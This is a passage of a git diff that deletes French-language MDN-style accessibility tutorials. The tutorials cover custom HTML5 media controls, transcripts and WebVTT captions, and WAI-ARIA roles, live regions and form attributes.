La vidéo et l'audio HTML5 partagent une API - HTML Media Element - qui vous permet de mapper des fonctionnalités personnalisées à des boutons et à d'autres commandes, que vous définissez vous-même. .

- -

Prenons l'exemple vidéo ci-dessus et ajoutons-leur des contrôles personnalisés .

- -

Basic setup

- -

Tout d'abord, prenez une copie de notre  custom-controls-start.html, custom-controls.css, rabbit320.mp4, et rabbit320.webm fichiers et enregistrez-les dans un nouveau répertoire sur votre disque dur .

- -

Créez un nouveau fichier appelé main.js et enregistrez-le dans le même répertoire .

- -

Tout d’abord, regardons le code HTML pour le lecteur vidéo, dans le code HTML:

- -
<section class="player">
-  <video controls>
-    <source src="rabbit320.mp4" type="video/mp4">
-    <source src="rabbit320.webm" type="video/webm">
-    <p>Votre navigateur ne supporte pas l\'audio HTML5. Voici un <a href="rabbit320.mp4">lien vers la video</a> instead.</p>
-  </video>
-
-  <div class="controls">
-    <button class="playpause">Play</button>
-    <button class="stop">Stop</button>
-    <button class="rwd">Rwd</button>
-    <button class="fwd">Fwd</button>
-    <div class="time">00:00</div>
-  </div>
-</section>
- -

JavaScript basic setup

- -

Nous avons inséré quelques boutons de commande simples sous notre vidéo. Bien sûr, ces contrôles ne feront rien par défaut; pour ajouter des fonctionnalités, nous allons utiliser JavaScript .

- -

Nous devrons d’abord stocker les références à chacun des contrôles - ajoutez ce qui suit en haut de votre fichier JavaScript:

- -
var playPauseBtn = document.querySelector('.playpause');
-var stopBtn = document.querySelector('.stop');
-var rwdBtn = document.querySelector('.rwd');
-var fwdBtn = document.querySelector('.fwd');
-var timeLabel = document.querySelector('.time');
- -

Ensuite, nous devons saisir une référence au lecteur vidéo / audio lui-même - ajoutez cette ligne sous les lignes précédentes:

- -
var player = document.querySelector('video');
- -

Ceci contient une référence à un objet {{domxref ("HTMLMediaElement")}} qui possède plusieurs propriétés et méthodes utiles disponibles qui peuvent être utilisées pour connecter des fonctionnalités à nos boutons.

- -

Avant de passer à la création de notre fonctionnalité de bouton, supprimons les contrôles natifs afin qu'ils ne gênent pas nos contrôles personnalisés. Ajoutez ce qui suit, encore une fois au bas de votre JavaScript:

- -
player.removeAttribute('controls');
- -

Le fait de procéder ainsi plutôt que de ne pas inclure les attributs de contrôle en premier lieu présente l'avantage que si notre JavaScript échoue pour une raison quelconque, l'utilisateur dispose toujours de certains contrôles.

- -

Câbler nos boutons

- -

Commençons par configurer le bouton lecture / pause. Nous pouvons le faire basculer entre lecture et pause avec une simple fonction conditionnelle, comme ci-dessous. Ajoutez-le à votre code, en bas:

- -
playPauseBtn.onclick = function() {
-  if(player.paused) {
-    player.play();
-    playPauseBtn.textContent = 'Pause';
-  } else {
-    player.pause();
-    playPauseBtn.textContent = 'Play';
-  }
-};
- -

Ensuite, ajoutez ce code en bas, qui contrôle le bouton d'arrêt:

- -
stopBtn.onclick = function() {
-  player.pause();
-  player.currentTime = 0;
-  playPauseBtn.textContent = 'Play';
-};
- -

Il n'y a pas de fonction  stop()  disponible sur {{domxref("HTMLMediaElement")}}s,  nous le mettons donc en pause()  et, dans le même temps, définissons la valeur currentTime sur 0.

- -

Ensuite, nos boutons de rembobinage et d’avance rapide - ajoutez les blocs suivants au bas de votre  code:

- -
rwdBtn.onclick = function() {
-  player.currentTime -= 3;
-};
-
-fwdBtn.onclick = function() {
-  player.currentTime += 3;
-  if(player.currentTime >= player.duration || player.paused) {
-    player.pause();
-    player.currentTime = 0;
-    playPauseBtn.textContent = 'Play';
-  }
-};
- -

Celles-ci sont très simples, il suffit d’ajouter ou de soustraire 3 secondes à  currentTime chaque fois qu’on clique dessus. Dans un vrai lecteur vidéo, vous voudrez probablement une barre de recherche plus élaborée, ou similaire.

- -

Notez que nous vérifions également si la durée  currentTime est supérieure à la durée totale du support ou si le support n'est pas en cours de lecture lorsque le bouton Fwd est enfoncé. Si l'une ou l'autre de ces conditions est vraie, nous arrêtons simplement la vidéo pour éviter que l'interface utilisateur ne se détériore si elle tente d'effectuer une avance rapide lorsque la vidéo n'est pas en cours de lecture ou si la fin de la vidéo est terminée. .

- -

Enfin, ajoutez ce qui suit à la fin du code pour contrôler l’affichage du temps écoulé:

- -
player.ontimeupdate = function() {
-  var minutes = Math.floor(player.currentTime / 60);
-  var seconds = Math.floor(player.currentTime - minutes * 60);
-  var minuteValue;
-  var secondValue;
-
-  if (minutes<10) {
-    minuteValue = "0" + minutes;
-  } else {
-    minuteValue = minutes;
-  }
-
-  if (seconds<10) {
-    secondValue = "0" + seconds;
-  } else {
-    secondValue = seconds;
-  }
-
-  mediaTime = minuteValue + ":" + secondValue;
-  timeLabel.textContent = mediaTime;
-};
- -

Chaque fois que l'heure est mise à jour (une fois par seconde), nous activons cette fonction. Il calcule le nombre de minutes et de secondes à partir de la valeur actuelle donnée en secondes, ajoute un 0 au début si la valeur de minute ou de seconde est inférieure à 10, puis crée la lecture d'affichage et l'ajoute à l'étiquette de temps.

- -

Lectures complémentaires

- -

Cela vous donne une idée de base sur la manière d’ajouter des fonctionnalités de lecteur personnalisées aux instances de lecteur vidéo / audio. Pour plus d'informations sur l'ajout de fonctionnalités plus complexes aux lecteurs vidéo / audio, y compris les solutions de secours Flash pour les navigateurs plus anciens, voir aussi:

- - - -

Nous avons également créé un exemple avancé pour montrer comment créer un système orienté objet permettant de rechercher tous les lecteurs vidéo et audio de la page (quel que soit leur nombre) et d'y ajouter nos contrôles personnalisés. Voir  custom-controls-oojs ( également voir le code source).

- -

Transcriptions audio

- -

Pour permettre aux sourds d'accéder au contenu audio, vous devez créer des transcriptions de texte. Ceux-ci peuvent être soit inclus sur la même page que l'audio d'une manière ou d'une autre, soit inclus sur une page séparée et liés à.

- -

En termes de création de la transcription, vos options sont les suivantes:

- - - -

Comme dans la plupart des choses de la vie, vous avez tendance à avoir ce que vous payez. la précision et le temps requis pour produire la transcription varient selon les services. Si vous payez une transcription pour une entreprise digne de confiance ou un service d’AI, vous le ferez probablement rapidement et avec une qualité élevée. Si vous ne voulez pas payer pour cela, vous le ferez probablement avec une qualité inférieure et / ou lentement.

- -

Il n’est pas acceptable de publier une ressource audio mais de promettre de publier la transcription ultérieurement. De telles promesses ne sont souvent pas tenues, ce qui érodera la confiance entre vous et vos utilisateurs. Si le son que vous présentez ressemble à une réunion en face-à-face ou à une performance parlée en direct, il serait acceptable de prendre des notes pendant la performance, de les publier intégralement avec l'audio, puis de demander de l'aide pour les nettoyer par la suite.

- -

Exemples de transcription

- -

Si vous utilisez un service automatisé, vous devrez probablement utiliser l'interface utilisateur fournie par l'outil. Par exemple, jetez un coup d’œil à  Audio Transcription Sample 1 et choisissez plus > Transcript.

- -

Si vous créez votre propre interface utilisateur pour présenter votre audio et la transcription associée, vous pouvez le faire comme bon vous semble, mais il serait peut-être judicieux de l'inclure dans un panneau pouvant être affiché / masqué; voir notre exemple  transcription audio-ui exemple (voir aussi le code source).

- -

Descriptions audio

- -

Dans les cas où des éléments visuels accompagnent votre son, vous devez fournir une description de l’audio pour décrire ce contenu supplémentaire.

- -

Dans de nombreux cas, il s'agira simplement d'une vidéo. Dans ce cas, vous pouvez implémenter des légendes à l'aide des techniques décrites dans la section suivante de l'article.

- -

Cependant, il y a des cas extrêmes. Vous pouvez par exemple avoir un enregistrement audio d'une réunion qui fait référence à une ressource d'accompagnement telle qu'une feuille de calcul ou un graphique. Dans de tels cas, vous devez vous assurer que les ressources sont fournies avec la transcription audio +, et les lier spécifiquement aux endroits où elles sont mentionnées dans la transcription. Cela aidera évidemment tous les utilisateurs, pas seulement les sourds.

- -
-

Note: Une transcription audio aidera en général plusieurs groupes d'utilisateurs. En plus de permettre aux utilisateurs sourds d'accéder aux informations contenues dans l'audio, pensez à un utilisateur disposant d'une connexion à faible bande passante et qui trouverait que le téléchargement de l'audio est gênant. Pensez également à un utilisateur dans un environnement bruyant, comme un pub ou un bar, qui tente d'accéder à l'information mais ne l'entend pas par dessus le bruit.

-
- -

Pistes de texte vidéo

- -

Pour rendre la vidéo accessible aux sourds, aux aveugles ou même à d'autres groupes d'utilisateurs (par exemple, ceux dont la bande passante est faible ou qui ne comprennent pas la langue dans laquelle la vidéo est enregistrée), vous devez inclure des pistes de texte avec votre contenu vidéo. .

- -
-

Note: Les pistes de texte sont également utiles pour n'importe quel utilisateur, pas seulement pour les personnes handicapées. Par exemple, certains utilisateurs peuvent ne pas être en mesure d’entendre le son car ils se trouvent dans des environnements bruyants (comme un bar bondé lorsqu’un match de sport est diffusé) ou peuvent ne pas déranger les autres s’ils sont dans un endroit calme (comme une bibliothèque). .)

-
- -

Ce n'est pas un nouveau concept - les sous-titres codés sont disponibles depuis assez longtemps dans les services de télévision:

- -

Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"

- -

Alors que de nombreux pays proposent des films en anglais avec sous-titres écrits dans leur propre langue maternelle, des sous-titres en différentes langues sont souvent disponibles sur DVD, par exemple

- -

An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"

- -

Il existe différents types de pistes de texte avec des objectifs différents. Les principaux que vous rencontrerez sont:

- - - -

Implémentation de pistes de texte vidéo HTML5

- -

Les pistes de texte à afficher avec une vidéo HTML5 doivent être écrites au format WebVTT, un format de texte contenant plusieurs chaînes de texte ainsi que des métadonnées, telles que l'heure à laquelle vous souhaitez afficher chaque chaîne de texte et même des informations de style / positionnement limitées. Ces chaînes de texte sont appelées cues .

- -

Un fichier WebVTT typique ressemblera à ceci:

- -
WEBVTT
-
-1
-00:00:22.230 --> 00:00:24.606
- Ceci est le premier sous-titre.
-
-2
-00:00:30.739 --> 00:00:34.074
- C'est le deuxième .
-
-  ...
- -

Pour que ceci soit affiché avec la lecture du média HTML, vous devez:

- - - -

Voici un exemple:

- -
<video controls>
-    <source src="example.mp4" type="video/mp4">
-    <source src="example.webm" type="video/webm">
-    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
-</video>
- -

Cela donnera une vidéo avec des sous-titres affichés, un peu comme ceci:

- -

Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

- -

Pour plus de détails, veuillez lire  Ajouter des légendes et des sous titres à des vidéos HTML 5.  Vous trouverez un exemple  qui accompagne cet article sur Github, écrit par Ian Devlin (voir aussi le code source.) Cet exemple utilise du JavaScript. pour permettre aux utilisateurs de choisir entre différents sous-titres. Notez que pour activer les sous-titres, vous devez appuyer sur le bouton "CC" et sélectionner une option - Anglais, Allemand ou Español.

- -
-

Note: Les pistes de texte et les transcriptions vous aident également avec {{glossary ("SEO")}}, car les moteurs de recherche se développent particulièrement bien avec le texte. Les pistes de texte permettent même aux moteurs de recherche de se lier directement à un endroit en cours de vidéo.

-
- -

Autre contenu multimédia

- -

Les sections ci-dessus ne couvrent pas tous les types de contenu multimédia que vous pourriez vouloir placer sur une page Web. Vous devrez peut-être également gérer des jeux, des animations, des diaporamas, des vidéos intégrées et du contenu créé à l'aide d'autres technologies disponibles, telles que:

- - - -

Pour ce type de contenu, vous devez traiter les problèmes d’accessibilité au cas par cas. Dans certains cas, ce n'est pas si grave, par exemple:

- - - -

Cependant, il est difficile de rendre les autres multimédias accessibles. Si, par exemple, vous avez affaire à un jeu immersif en 3D ou à une application de réalité virtuelle, il est vraiment difficile de fournir des alternatives textuelles pour une telle expérience, et vous pouvez soutenir que les utilisateurs non-voyants ne sont pas vraiment dans le groupe-cible de telles applications.

- -

Vous pouvez toutefois vous assurer qu'une telle application présente un contraste de couleur suffisant et une présentation claire de sorte qu'elle soit perceptible par les personnes ayant une vision basse / daltonisme, et qu'elle soit également accessible au clavier. Rappelez-vous que l'accessibilité consiste à faire tout ce que vous pouvez, plutôt que de chercher à atteindre une accessibilité à 100% tout le temps, ce qui est souvent impossible.

- -
-

Résumé

-
- -

Ce chapitre présente un résumé des problèmes d’accessibilité des contenus multimédias, ainsi que des solutions pratiques.

- -

{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}

- -

 

- -

Dans ce module

- - - -

 

diff --git a/files/fr/apprendre/a11y/wai-aria_basics/index.html b/files/fr/apprendre/a11y/wai-aria_basics/index.html deleted file mode 100644 index 6a55cde5cb..0000000000 --- a/files/fr/apprendre/a11y/wai-aria_basics/index.html +++ /dev/null @@ -1,425 +0,0 @@ ---- -title: Les bases de WAI-ARIA -slug: Apprendre/a11y/WAI-ARIA_basics -tags: - - ARIA - - Accessibilité - - Apprendre - - Article - - Débutant - - Guide - - HTML - - JavaScript - - WAI-ARIA - - sémantique -translation_of: Learn/Accessibility/WAI-ARIA_basics ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}
- -

Après l'article précédent, il peut être difficile de créer des contrôles UI complexes impliquant du code HTML non sémantique et du contenu dynamique mis à jour par JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser pour informer les utilisateurs de ce qui se passe. Nous montrerons ici comment l'utiliser au niveau de base pour améliorer l'accessibilité.

- - - - - - - - - - - - -
  Prerequis:Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension des articles précédents du cours.
Objectif :Se familiariser avec WAI-ARIA et savoir comment l'utiliser pour fournir une sémantique supplémentaire utile afin d'améliorer l'accessibilité, le cas échéant.
- -

Qu'est WAI-ARIA?

- -

Commençons par regarder ce que WAI-ARIA est , et ce qu’il peut faire pour nous.

- -

Un nouvel ensemble de problèmes

- -

Car les applications web ont commencé à devenir plus complexes et dynamiques, un nouvel ensemble de fonctionnalités d'accessibilité et de problèmes ont commencé à apparaître.

- -

Par exemple, HTML5 a introduit un certain nombre d’éléments sémantiques pour définir des fonctionnalités de page communes  ({{htmlelement("nav")}}, {{htmlelement("footer")}}, etc.)  Avant de les utiliser, les développeurs utilisaient simplement {{htmlelement("div")}} s avec des identifiants ou des classes, par exemple <div class="nav"> , mais ils posaient problème, car il n’existait pas de moyen facile de trouver facilement une fonctionnalité de page spécifique telle que la navigation principale par programmation. .

- -

La solution initiale consistait à ajouter un ou plusieurs liens cachés en haut de la page pour créer un lien vers la navigation (ou autre), par exemple:

- -
<a href="#hidden" class="hidden">Passer à la navigation</a>
- -

Mais ceci n’est pas encore très précis et ne peut être utilisé que lorsque le lecteur d’écran lit en haut de la page.

- -

Autre exemple, les applications ont commencé à comporter des commandes complexes telles que des sélecteurs de date pour choisir les dates, des curseurs pour choisir des valeurs, etc. HTML5 fournit des types spéciaux  input pour rendre de tels contrôles:

- -
<input type="date">
-<input type="range">
- -

Celles-ci ne sont pas bien prises en charge sur tous les navigateurs et il est également très difficile de les nommer, ce qui les rend peu utiles pour l'intégration aux conceptions de sites Web. En conséquence, les développeurs font souvent appel à des bibliothèques JavaScript qui génèrent des contrôles tels qu'une série d'éléments {{htmlelement("div")}} s imbriqués ou d'éléments de table avec des noms de classe, qui sont ensuite stylés à l'aide de CSS et contrôlés à l'aide de JavaScript.

- -

Le problème ici est que, visuellement, ils fonctionnent, mais que les lecteurs d’écran ne peuvent pas comprendre ce qu’ils sont, et on dit aux utilisateurs qu’ils peuvent voir une multitude d’éléments sans sémantique pour décrire ce qu’ils veulent dire.

- -

Entrez WAI-ARIA

- -

WAI-ARIA est une spécification écrite par le W3C et définissant un ensemble d'attributs HTML supplémentaires pouvant être appliqués aux éléments pour fournir une sémantique supplémentaire et améliorer l'accessibilité en cas de manque. Trois caractéristiques principales sont définies dans la spécification:

- - - -

Un point important sur les attributs WAI-ARIA est qu'ils n'affectent en rien la page Web, à l'exception des informations exposées par les API d'accessibilité du navigateur (où les lecteurs d'écran obtiennent leurs informations). WAI-ARIA n'affecte pas la structure de la page Web, le DOM, etc., bien que les attributs puissent être utiles pour sélectionner des éléments par CSS.

- -
-

Note: Vous pouvez trouver une liste utile de tous les rôles ARIA et de leurs utilisations, avec des liens vers des informations supplémentaires, dans les spécifications WAI-ARIA — voir la définition des rôles.

- -

La spécification contient également une liste de toutes les propriétés et de tous les états, avec des liens vers des informations complémentaires - voir  Définitions des états et des propriétés (tous les attributs aria- *).

-
- -

Où WAI-ARIA est supporté?

- -

Ce n’est pas une question simple. Il est difficile de trouver une ressource concluante qui explicite quelles fonctionnalités de WAI-ARIA sont supportées où, parce que:

- -
    -
  1. Il y a beaucoup de fonctionnalités dans la spécification WAI-ARIA
    2. -
  2. Il y a beaucoup de combinaisons de systèmes d’exploitation, navigateurs et lecteurs d’écrans à considérer
    3. -
- -

Ce dernier point est la clé: pour utiliser un lecteur d’écran, votre système d’exploitation a besoin d’un navigateur ayant les APIs d’accessibilité nécessaires, de manière à présenter l’information dont les lecteurs d’écran ont besoin pour faire leur travail. Les systèmes d’exploitation les plus populaires ont un à deux navigateurs avec les quels les lecteurs d’écrans peuvent travailler. Le Paciello Group a un article plutôt à jour fournissant des informations pour ceci — voir Rough Guide: browsers, operating systems and screen reader support updated.

- -

Ensuite, vous devez vous demander si les navigateurs en question supportent les fonctionnalités ARIA et les présenter via leurs APIs, mais aussi du fait que les lecteurs d’écrans reconnaissent ou non cette information et la présentent à leurs utilisateurs d’une manière utile.

- -
    -
  1. Browser support is generally quite good — at the time of writing, caniuse.com stated that global browser support for WAI-ARIA was around 88%.
    2. -
  2. Screenreader support for ARIA features isn't quite at this level, but the most popular screenreaders are getting there. You can get an idea of support levels by looking at Powermapper's WAI-ARIA Screen reader compatibility article.
    3. -
- -

In this article, we won't attempt to cover every WAI-ARIA feature, and its exact support details. Instead, we will cover the most critical WAI-ARIA features for you to know about; if we don't mention any support details, you can assume that the feature is well-supported. We will clearly mention any exceptions to this.

- -
-

Note: Some JavaScript libraries support WAI-ARIA, meaning that when they generate UI features like complex form controls, they add ARIA attributes to improve the accessibility of those features. If you are looking for a 3rd party JavaScript solution for rapid UI development, you should definitely consider the accessibility of its UI widgets as an important factor when making your choice. Good examples are jQuery UI (see About jQuery UI: Deep accessibility support), ExtJS, and Dojo/Dijit.

-
- -

When should you use WAI-ARIA?

- -

We talked about some of the problems that prompted WAI-ARIA to be created earlier on, but essentially, there are four main areas that WAI-ARIA is useful in:

- -
    -
  1. Signposts/Landmarks: ARIA's role attribute values can act as landmarks that either replicate the semantics of HTML5 elements (e.g. {{htmlelement("nav")}}), or go beyond HTML5 semantics to provide signposts to different functional areas, e.g search, tabgroup, tab, listbox, etc.
    2. -
  2. Dynamic content updates: Screenreaders tend to have difficulty with reporting constantly changing content; with ARIA we can use aria-live to inform screenreader users when an area of content is updated, e.g. via XMLHttpRequest, or DOM APIs.
    3. -
  3. Enhancing keyboard accessibility: There are built-in HTML elements that have native keyboard accessibility; when other elements are used along with JavaScript to simulate similar interactions, keyboard accessibility and screenreader reporting suffers as a result. Where this is unavoidable, WAI-ARIA provides a means to allow other elements to receive focus (using tabindex).
    4. -
  4. Accessibility of non-semantic controls: When a series of nested <div>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, accessibility can suffer — screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In these situations, ARIA can help to provide what's missing with a combination of roles like button, listbox, or tabgroup, and properties like aria-required or aria-posinset to provide further clues as to functionality.
    5. -
- -

One thing to remember though — you should only use WAI-ARIA when you need to! Ideally, you should always use native HTML features to provide the semantics required by screenreaders to tell their users what is going on. Sometimes this isn't possible, either because you have limited control over the code, or because you are creating something complex that doesn't have an easy HTML element to implement it. In such cases, WAI-ARIA can be a valuable accessibility enhancing tool.

- -

But again, only use it when necessary!

- -
-

Note: Also, try to make sure you test your site with a variety of real users — non-disabled people, people using screenreaders, people using keyboard navigation, etc. They will have better insights than you about how well it works.

-
- -

Practical WAI-ARIA implementations

- -

In the next section we'll look at the four areas in more detail, along with practical examples. Before you continue, you should get a screenreader testing setup put in place, so you can test some of the examples as you go through.

- -

See our section on testing screenreaders for more information.

- -

Signposts/Landmarks

- -

WAI-ARIA adds the role attribute to browsers, which allows you to add extra semantic value to elements on your site wherever they are needed. The first major area in which this is useful is providing information for screenreaders so that their users can find common page elements. Let's look at an example — our website-no-roles example (see it live) has the following structure:

- -
<header>
-  <h1>...</h1>
-  <nav>
-    <ul>...</ul>
-    <form>
-      <!-- search form  -->
-    </form>
-  </nav>
-</header>
-
-<main>
-  <article>...</article>
-  <aside>...</aside>
-</main>
-
-<footer>...</footer>
- -

If you try testing the example with a screenreader in a modern browser, you'll already get some useful information. For example, VoiceOver gives you the following:

- - - -

If you go to VoiceOver's landmarks menu (accessed using VoiceOver key + U and then using the cursor keys to cycle through the menu choices), you'll see that most of the elements are nicely listed so they can be accessed quickly.

- -

- -

However, we could do better here. the search form is a really important landmark that people will want to find, but it is not listed in the landmarks menu or treated like a notable landmark, beyond the actual input being called out as a search input (<input type="search">). In addition, some older browsers (most notably IE8) don't recognise the semantics of the HTML5 elements.

- -

Let's improve it by the use of some ARIA features. first, we'll add some role attributes to our HTML structure. You can try taking a copy of our original files (see index.html and style.css), or navigating to our website-aria-roles example (see it live), which has a structure like this:

- -
<header>
-  <h1>...</h1>
-  <nav role="navigation">
-    <ul>...</ul>
-    <form role="search">
-      <!-- search form  -->
-    </form>
-  </nav>
-</header>
-
-<main>
-  <article role="article">...</article>
-  <aside role="complementary">...</aside>
-</main>
-
-<footer>...</footer>
- -

We've also given you a bonus feature in this example — the {{htmlelement("input")}} element has been given the attribute aria-label, which gives it a descriptive label to be read out by a screenreader, even though we haven't included a {{htmlelement("label")}} element. In cases like these, this is very useful — a search form like this one is a very common, easily recognised feature, and adding a visual label would spoil the page design.

- -
<input type="search" name="q" placeholder="Search query" aria-label="Search through site content">
- -

Now if we use VoiceOver to look at this example, we get some improvements:

- - - -

Beyond this, the site is more likely to be accessible to users of older browsers such as IE8; it is worth including ARIA roles for that purpose. And if for some reason your site is built using just <div>s, you should definitely include the ARIA roles to provide these much needed semantics!

- -

The improved semantics of the search form have shown what is made possible when ARIA goes beyond the semantics available in HTML5. You'll see a lot more about these semantics and the power of ARIA properties/attributes below, especially in the {{anch("Accessibility of non-semantic controls")}} section. For now though, let's look at how ARIA can help with dynamic content updates.

- -

Dynamic content updates

- -

Content loaded into the DOM can be easily accessed using a screenreader, from textual content to alternative text attached to images. Traditional static websites with largely text content are therefore easy to make accessible for people with visual impairments.

- -

The problem is that modern web apps are often not just static text — they tend to have a lot of dynamically updating content, i.e. content that updates without the entire page reloading via a mechanism like XMLHttpRequest, Fetch, or DOM APIs. These are sometimes referred to as live regions.

- -

Let's look at a quick example — see aria-no-live.html (also see it running live). In this example we have a simple random quote box:

- -
<section>
-  <h1>Random quote</h1>
-  <blockquote>
-    <p></p>
-  </blockquote>
-</section>
- -

Our JavaScript loads a JSON file via XMLHttpRequest containing a series of random quotes and their authors. Once that is done, we start up a setInterval() loop that loads a new random quote into the quote box every 10 seconds:

- -
var intervalID = window.setInterval(showQuote, 10000);
- -

This works OK, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on. This is a fairly trivial example, but just imagine if you were creating a complex UI with lots of constantly updating content, like a chat room, or a strategy game UI, or a live updating shopping cart display — it would be impossible to use the app in any effective way without some kind of way of alerting the user to the updates.

- -

WAI-ARIA fortunately provides a useful mechanism to provide these alerts — the aria-live property. Applying this to an element causes screenreaders to read out the content that is updated. How urgently the content is read out depends on the attribute value:

- - - -

We'd like you to take a copy of aria-no-live.html and quotes.json, and update your <section> tag as follows:

- -
<section aria-live="assertive">
- -

This will cause a screenreader to read out the content as it is updated.

- -
-

Note: Most browsers will throw a security exception if you try to do an XMLHttpRequest call from a file:// URL, e.g. if you just load the file by loading it directly into the browser (via double clicking, etc.). To get it to run, you will need to upload it to a web server, for example using GitHub, or a local web server like Python's SimpleHTTPServer.

-
- -

There is an additional consideration here — only the bit of text that updates is read out. It might be nice if we always read out the heading too, so the user can remember what is being read out. To do this, we can add the aria-atomic property to the section. Update your <section> tag again, like so:

- -
<section aria-live="assertive" aria-atomic="true">
- -

The aria-atomic="true" attribute tells screenreaders to read out the entire element contents as one atomic unit, not just the bits that were updated.

- -
-

Note: You can see the finished example at aria-live.html (see it running live).

-
- -
-

Note: The aria-relevant property is also quite useful for controlling what gets read out when a live region is updated. You can for example only get content additions or removals read out.

-
- -

Enhancing keyboard accessibility

- -

As discussed in a few other places in the module, one of the key strengths of HTML with respect to accessibility is the built-in keyboard accessibility of features such as buttons, form controls, and links. Generally, you are able to use the tab key to move between controls, the Enter/Return key to select or activate controls, and occasionally other controls as needed (for example the up and down cursor to move between options in a <select> box).

- -

However, sometimes you will end up having to write code that either uses non-semantic elements as buttons (or other types of control), or uses focusable controls for not quite the right purpose. You might be trying to fix some bad code you've inherited, or you might be building some kind of complex widget that requires it.

- -

In terms of making non-focusable code focusable, WAI-ARIA extends the tabindex attribute with some new values:

- - - -

We discussed this in more detail and showed a typical implementation back in our HTML accessibility article — see Building keyboard accessibility back in.

- -

Accessibility of non-semantic controls

- -

This follows on from the previous section — when a series of nested <div>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, not only can keyboard accessibility suffer, but screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In such situations, ARIA can help to provide those missing semantics.

- -

Form validation and error alerts

- -

First of all, let's revisit the form example we first looked at in our CSS and JavaScript accessibility article (read Keeping it unobtrusive for a full recap). At the end of this section we showed that we have included some ARIA attributes on the error message box that appears when there are validation errors when you try to submit the form:

- -
<div class="errors" role="alert" aria-relevant="all">
-  <ul>
-  </ul>
-</div>
- - - -

We could go further with our ARIA usage, and provide some more validation help. How about indicating whether fields are required in the first place, and what range the age should be?

- -
    -
  1. At this point, take a copy of our form-validation.html and validation.js files, and save them in a local directory.
    2. -
  2. Open them both in a text editor and have a look at how the code works.
    3. -
  3. First of all, add a paragraph just above the opening <form> tag, like the one below, and mark both the form <label>s with an asterisk. This is normally how we mark required fields for sighted users. - 
    <p>Fields marked with an asterisk (*) are required.</p>
    -
    4. -
  4. This makes visual sense, but it isn't as easy to understand for screenreader users. Fortunately, WAI-ARIA provides the aria-required attribute to give screenreaders hints that they should tell users that form inputs need to be filled in. Update the <input> elements like so: - 
    <input type="text" name="name" id="name" aria-required="true">
-
-<input type="number" name="age" id="age" aria-required="true">
    -
    5. -
  5. If you save the example now and test it with a screenreader, you should hear something like "Enter your name star, required, edit text".
    6. -
  6. It might also be useful if we give screenreader users and sighted users an idea of what the age value should be. This is often presented as a tooltip, or placeholder inside the form field perhaps. WAI-ARIA does include aria-valuemin and aria-valuemax properties to specify min and max values, but these currently don't seem very well supported; a better supported feature is the HTML5 placeholder attribute, which can contain a message that is shown in the input when no value is entered, and is read out by a number of screenreaders. Update your number input like this: - 
    <input type="number" name="age" id="age" placeholder="Enter 1 to 150" aria-required="true">
    -
    7. -
- -
-

Note: You can see the finished example live at form-validation-updated.html.

-
- -

WAI-ARIA also enables some advanced form labelling techniques, beyond the classic {{htmlelement("label")}} element. We already talked about using the aria-label property to provide a label where we don't want the label to be visible to sighted users (see the {{anch("Signposts/Landmarks")}} section, above). There are some other labelling techniques that use other properties such as aria-labelledby if you want to designate a non-<label> element as a label or label multiple form inputs with the same label, and aria-describedby, if you want to associate other information with a form input and have it read out as well. See WebAIM's Advanced Form Labeling article for more details.

- -

There are many other useful properties and states too, for indicating the status of form elements. For example, aria-disabled="true" can be used to indicate that a form field is disabled. Many browsers will just skip past disabled form fields, and they won't even be read out by screenreaders, but in some cases they will be perceived, so it is a good idea to include this attribute to let the screenreader know that a disabled input is in fact disabled.

- -

If the disabled state of an input is likely to change, then it is also a good idea to indicate when it happens, and what the result is. For example, in our form-validation-checkbox-disabled.html demo there is a checkbox that when checked, enables another form input to allow further information be entered. We've set up a hidden live region:

- -
<p class="hidden-alert" aria-live="assertive"></p>
- -

which is hidden from view using absolute positioning. When this is checked/unchecked, we update the text inside the hidden live region to tell screenreader users what the result of checking this checkbox is, as well as updating the aria-disabled state, and some visual indicators too:

- -
function toggleMusician(bool) {
-  var instruItem = formItems[formItems.length-1];
-  if(bool) {
-    instruItem.input.disabled = false;
-    instruItem.label.style.color = '#000';
-    instruItem.input.setAttribute('aria-disabled', 'false');
-    hiddenAlert.textContent = 'Instruments played field now enabled; use it to tell us what you play.';
-  } else {
-    instruItem.input.disabled = true;
-    instruItem.label.style.color = '#999';
-    instruItem.input.setAttribute('aria-disabled', 'true');
-    instruItem.input.removeAttribute('aria-label');
-    hiddenAlert.textContent = 'Instruments played field now disabled.';
-  }
-}
- -

Describing non-semantic buttons as buttons

- -

A few times in this course already, we've mentioned the native accessibilty of (and the accessibility issues behind using other elements to fake) buttons, links, or form elements (see UI controls in the HTML accessibility article, and {{anch("Enhancing keyboard accessibility")}}, above). Basically, you can add keyboard accessibility back in without too much trouble in many cases, using tabindex and a bit of JavaScript.

- -

But what about screenreaders? They still won't see the elements as buttons. If we test our fake-div-buttons.html example in a screenreader, our fake buttons will be reported using phrases like "Click me!, group", which is obviously confusing.

- -

We can fix this using a WAI-ARIA role. Make a local copy of fake-div-buttons.html, and add role="button" to each button <div>, for example:

- -
<div data-message="This is from the first button" tabindex="0" role="button">Click me!</div>
- -

Now when you try this using a screenreader, you'll have buttons be reported using phrases like "Click me!, button" — much better.

- -
-

Note: Don't forget however that using the correct semantic element where possible is always better. If you want to create a button, and can use a {{htmlelement("button")}} element, you should use a {{htmlelement("button")}} element!

-
- -

Guiding users through complex widgets

- -

There are a whole host of other roles that can identify non-semantic element structures as common UI features that go beyond what's available in standard HTML, for example combobox, slider, tabpanel, tree. You can see a number of userful examples in the Deque university code library, to give you an idea of how such controls can be made accessible.

- -

